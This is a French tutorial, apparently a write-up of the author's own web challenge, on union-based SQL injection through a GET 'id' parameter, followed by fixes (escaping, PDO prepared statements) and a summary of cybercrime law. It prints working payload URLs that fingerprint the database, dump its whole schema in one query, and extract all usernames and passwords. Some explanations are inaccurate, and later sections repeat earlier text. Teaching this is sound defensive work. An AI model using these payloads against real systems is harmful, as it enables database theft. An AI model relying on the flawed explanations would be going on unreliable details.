SQL injection union based sur le parametre GET

Les SQL Injections sont des attaques potentiellement dévastatrices pour les applications mal sécurisées.
Elles permettent à un attaquant d'interagir avec la base de données sous-jacente de l'application, ce qui peut conduire à
des fuites d'informations sensibles, des manipulations de données ou même à des prises de contrôle de système.
Nous allons demontré la criticité de cette vulnérabilité en l'exploitant, je vais prendre pour exemple le code mon challenge

On observant ce code de plus près on peut noter plusieurs chose :

° Le site recupere le paramètre GET et affiche le nom d'utilisateur qui possède l'id demandé.

° Le client est autorisé à entrer n'importe quel veleur dans le paramètre GET.

° Le code récupère la valeur de id à partir de la requête GET ($_GET['id']) sans valider ni filtrer
cette valeur. Cela signifie qu'un attaquant peut potentiellement manipuler la valeur d'id en y injectant des
données malveillantes.

° La requête SQL est construite en concaténant la valeur de id directement dans la chaîne SQL.
Cela peut être dangereux car un attaquant peut injecter des instructions SQL malveillantes.

A l'attaque !

Cherchons d'abord le nombre de colonnes à l'aide de la commande ORDER BY

    
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+10--+-   ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+9--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+8--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+7--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+6--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+5--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+4--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+3--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+2--+-    ERROR
https://voilaxa.com/chall/chall_4.php?id=1%27+order+by+1--+-    Le site marche normalement

le %27 est une représentation URL de l'apostrophe ('). L'apostrophe est utilisé pour fermer la chaîne de caractères
qui commence par 1 dans la requête SQL. L'instruction ORDER BY 1 est utilisée pour trier les résultats de la requête
en fonction de la deuxième colonne. Le -- est une syntaxe SQL pour un commentaire, et le + est une représentation URL
de l'espace. Ensemble, --+- est utilisé pour commenter le reste de la requête SQL après le 1, ce qui peut être utile pour
contourner certaines restrictions.

Ici nous avons utilisé ORDER BY pour déterminer le nombre de colonne et nous avons conlus qu'il y en avait qu'une.

UNION SELECT va nous permettre de concatener notre requette malvaillante avec la requette de base, nous pouvons
faire un test et tenter d'afficher la version de la base de donnée.

    
https://voilaxa.com/chall/chall_4.php?id=-1%27+union+select+version()--+-

10.6.15-MariaDB-cll-lve est donc la version de la base donnée, creusons davantage !!

    
https://voilaxa.com/chall/chall_4.php?id=-1'+union+select+(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,' ',column_name), (column_name))))))a)--+-

Nous avons ici utilisé un dios (dump in one shot)

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where
(table_schema!='information_schema') and (0x00) in (@a:=concat(@a,0x3c62723e,if (@tbl!=table_name),
Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,' ',column_name), (column_name))))))a : Ceci
est la sous-requête qui est utilisée pour extraire des informations de la base de données cible.

Voici comment elle fonctionne : La première partie (select (@a:=0x00),(@tbl:=0x00) initialise deux variables :
(@a et @tbl) à 0x00. Ensuite, il y a une requête dans la table "information_schema.columns" qui recherche
des colonnes en fonction de certaines conditions : table_schema!='information_schema' : Cela garantit que
les tables du schéma "information_schema" ne sont pas incluses.
(0x00) in (@a:=concat(@a,0x3c62723e,if (@tbl!=table_name),
Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,' ',column_name), (column_name))) : Cette partie concatène
les noms de schéma, de table et de colonne en utilisant la séquence 0x3c62723e (retour a la ligne en html puis convertit
en hexadecimal). Elle le fait pour chaque colonne trouvée dans les tables non "information_schema". )--+- : C'est la fin
de la requête SQL. La séquence )--+- est utilisée pour terminer la requête et pour commenter tout ce qui suit.

Maintenant que nous avons le nom des tables et des colonnes allons recuperer le mot de passe de l'admin qui se trouve
à premiere vu dans users

    
https://voilaxa.com/chall/chall_4.php?id=-1%27+union+select+group_concat(username,%27:%27,password,%27%3Cbr%3E%27)+from+users--+-
    

Nous avons reutilisé UNION SELECT puis avec ORDER BY nous avons pu rendre l'affiche plus facilement lisible.
Maintenant nous pouvons lire chaque mot de passe et chaque pseudo


On patch ça comment ?
	
Méthode 1 : Utilisation de mysql_real_escape_string

    mysql_real_escape_string :
    mysql_real_escape_string est une fonction qui échappe les caractères spéciaux d'une chaîne de texte pour les rendre inoffensifs lorsqu'ils sont utilisés dans
 une requête SQL. Elle échappe les caractères spéciaux en les précédant d'un caractère d'échappement (\), ce qui signifie qu'ils seront interprétés comme des données
 littérales dans la requête SQL.
    Exemple d'utilisation :
    Voici comment vous pourriez utiliser mysql_real_escape_string pour sécuriser une requête SQL :




$user_input = "Amine input"; // Donnée du username
$safe_input = mysql_real_escape_string($user_input); // Échappement
$query = "INSERT INTO table (column) VALUES ('$safe_input')"; 

Méthode 2 : Utilisation de Requêtes Préparées


    Requêtes Préparées :
    Les requêtes préparées sont une technique plus sécurisée pour interagir avec la base de données. Elles consistent à définir une requête SQL avec des espaces réservés
   pour les données d'entrée, puis à associer les valeurs aux espaces réservés au moment de l'exécution.


    Cette approche empêche efficacement les attaques d'injection SQL en séparant les données de la requête.



    Exemple d'utilisation avec PDO :
    Voici comment vous pourriez utiliser des requêtes préparées avec PDO :


$user_input = "Amine input"; // Donnée du username
$query = "INSERT INTO table (column) VALUES (:user_input)";
$pdo = new PDO('mysql:host=localhost;dbname=ma_base', $user, $password);
$stmt = $pdo->prepare($query);
$stmt->bindParam(':user_input', $user_input, PDO::PARAM_STR);
$stmt->execute();
 

Dans cet exemple, les données de l'utilisateur ne sont jamais directement intégrées dans la requête SQL. Au lieu de cela, elles sont associées à un espace réservé (:user_input) à l'aide
de bindParam, ce qui les rend sécurisées contre les injections SQL.

La méthode des requêtes préparées est généralement recommandée pour la sécurité des applications web, car elle offre une meilleure protection contre les attaques d'injection SQL 
en évitant complètement l'interpolation de données utilisateur dans les requêtes SQL.



    Rappel :
    France : En France, les sanctions pour des activités de cybercriminalité, y compris les injections SQL, peuvent aller jusqu'à plusieurs années de prison et des amendes 
    importantes. Les sanctions sont prévues dans le Code pénal, notamment les articles 323-1 à 323-7, qui traitent des atteintes aux systèmes de traitement automatisé de données.

    États-Unis : Aux États-Unis, les sanctions varient d'un État à l'autre, mais les lois fédérales, telles que le Computer Fraud and Abuse Act (CFAA), permettent des peines 
  allant jusqu'à plusieurs années de prison et des amendes substantielles. Les peines sont déterminées en fonction de la gravité de l'infraction et des dommages causés.

    Royaume-Uni : Au Royaume-Uni, la loi sur les crimes informatiques (Computer Misuse Act) prévoit des sanctions pour les infractions liées aux injections SQL. Les peines 
    peuvent inclure des peines de prison et des amendes, et la gravité de l'infraction joue un rôle clé dans la détermination des sanctions.

    Canada : Au Canada, la Loi sur la protection des ordinateurs peut s'appliquer aux activités de cybercriminalité, avec des sanctions allant jusqu'à plusieurs années de prison 
  et des amendes. Les sanctions sont déterminées en fonction de la gravité de l'infraction.

    Union européenne : Les lois sur la cybercriminalité de l'Union européenne (comme la Directive 2013/40/UE) encouragent les États membres à mettre en place des sanctions appropriées 
    pour les infractions liées à la cybercriminalité, y compris les injections SQL.

On observant ce code de plus près on peut noter plusieurs chose :

° Le site recupere le paramètre GET et affiche le nom d'utilisateur qui possède l'id demandé.

° Le client est autorisé à entrer n'importe quel veleur dans le paramètre GET.

° Le code récupère la valeur de id à partir de la requête GET ($_GET['id']) sans valider ni filtrer cette valeur. Cela signifie qu'un attaquant peut potentiellement manipuler la valeur d'id en y injectant des données malveillantes.

° La requête SQL est construite en concaténant la valeur de id directement dans la chaîne SQL. Cela peut être dangereux car un attaquant peut injecter des instructions SQL malveillantes.

A l'attaque !

Cherchons d'abord le nombre de colonnes à l'aide de la commande ORDER BY

Ici nous avons utilisé ORDER BY pour déterminer le nombre de colonne et nous avons conlus qu'il y en avait qu'une.

UNION SELECT va nous permettre de concatener notre requette malvaillante avec la requette de base, nous pouvons faire un test et tenter d'afficher la version de la base de donnée.

10.6.15-MariaDB-cll-lve est donc la version de la base donnée, creusons davantage !!

Nous avons ici utilisé un dios (dump in one shot)

Maintenant que nous avons le nom des tables et des colonnes allons recuperer le mot de passe de l'admin qui se trouve à premiere vu dans users

Nous avons reutilisé UNION SELECT puis avec ORDER BY nous avons pu rendre l'affiche plus facilement lisible.Maintenant nous pouvons lire chaque mot de passe et chaque pseudo

On patch ça comment ?

Méthode 1 : Utilisation de mysql_real_escape_string

mysql_real_escape_string :

Méthode 2 : Utilisation de Requêtes Préparées

Requêtes Préparées :

Exemple d'utilisation avec PDO :

Rappel :

° Le code récupère la valeur de id à partir de la requête GET ($_GET['id']) sans valider ni filtrer
cette valeur. Cela signifie qu'un attaquant peut potentiellement manipuler la valeur d'id en y injectant des
données malveillantes.

° La requête SQL est construite en concaténant la valeur de id directement dans la chaîne SQL.
Cela peut être dangereux car un attaquant peut injecter des instructions SQL malveillantes.

UNION SELECT va nous permettre de concatener notre requette malvaillante avec la requette de base, nous pouvons
faire un test et tenter d'afficher la version de la base de donnée.

Maintenant que nous avons le nom des tables et des colonnes allons recuperer le mot de passe de l'admin qui se trouve
à premiere vu dans users

Nous avons reutilisé UNION SELECT puis avec ORDER BY nous avons pu rendre l'affiche plus facilement lisible.
Maintenant nous pouvons lire chaque mot de passe et chaque pseudo